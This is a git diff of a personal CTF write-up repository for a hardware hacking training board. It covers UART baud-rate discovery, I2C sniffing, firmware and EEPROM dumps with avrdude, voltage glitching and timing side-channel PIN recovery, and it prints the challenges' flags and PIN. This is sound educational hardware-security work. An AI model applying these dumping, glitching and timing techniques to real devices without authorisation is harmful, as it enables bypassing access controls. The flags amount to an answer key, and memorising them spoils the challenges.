+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
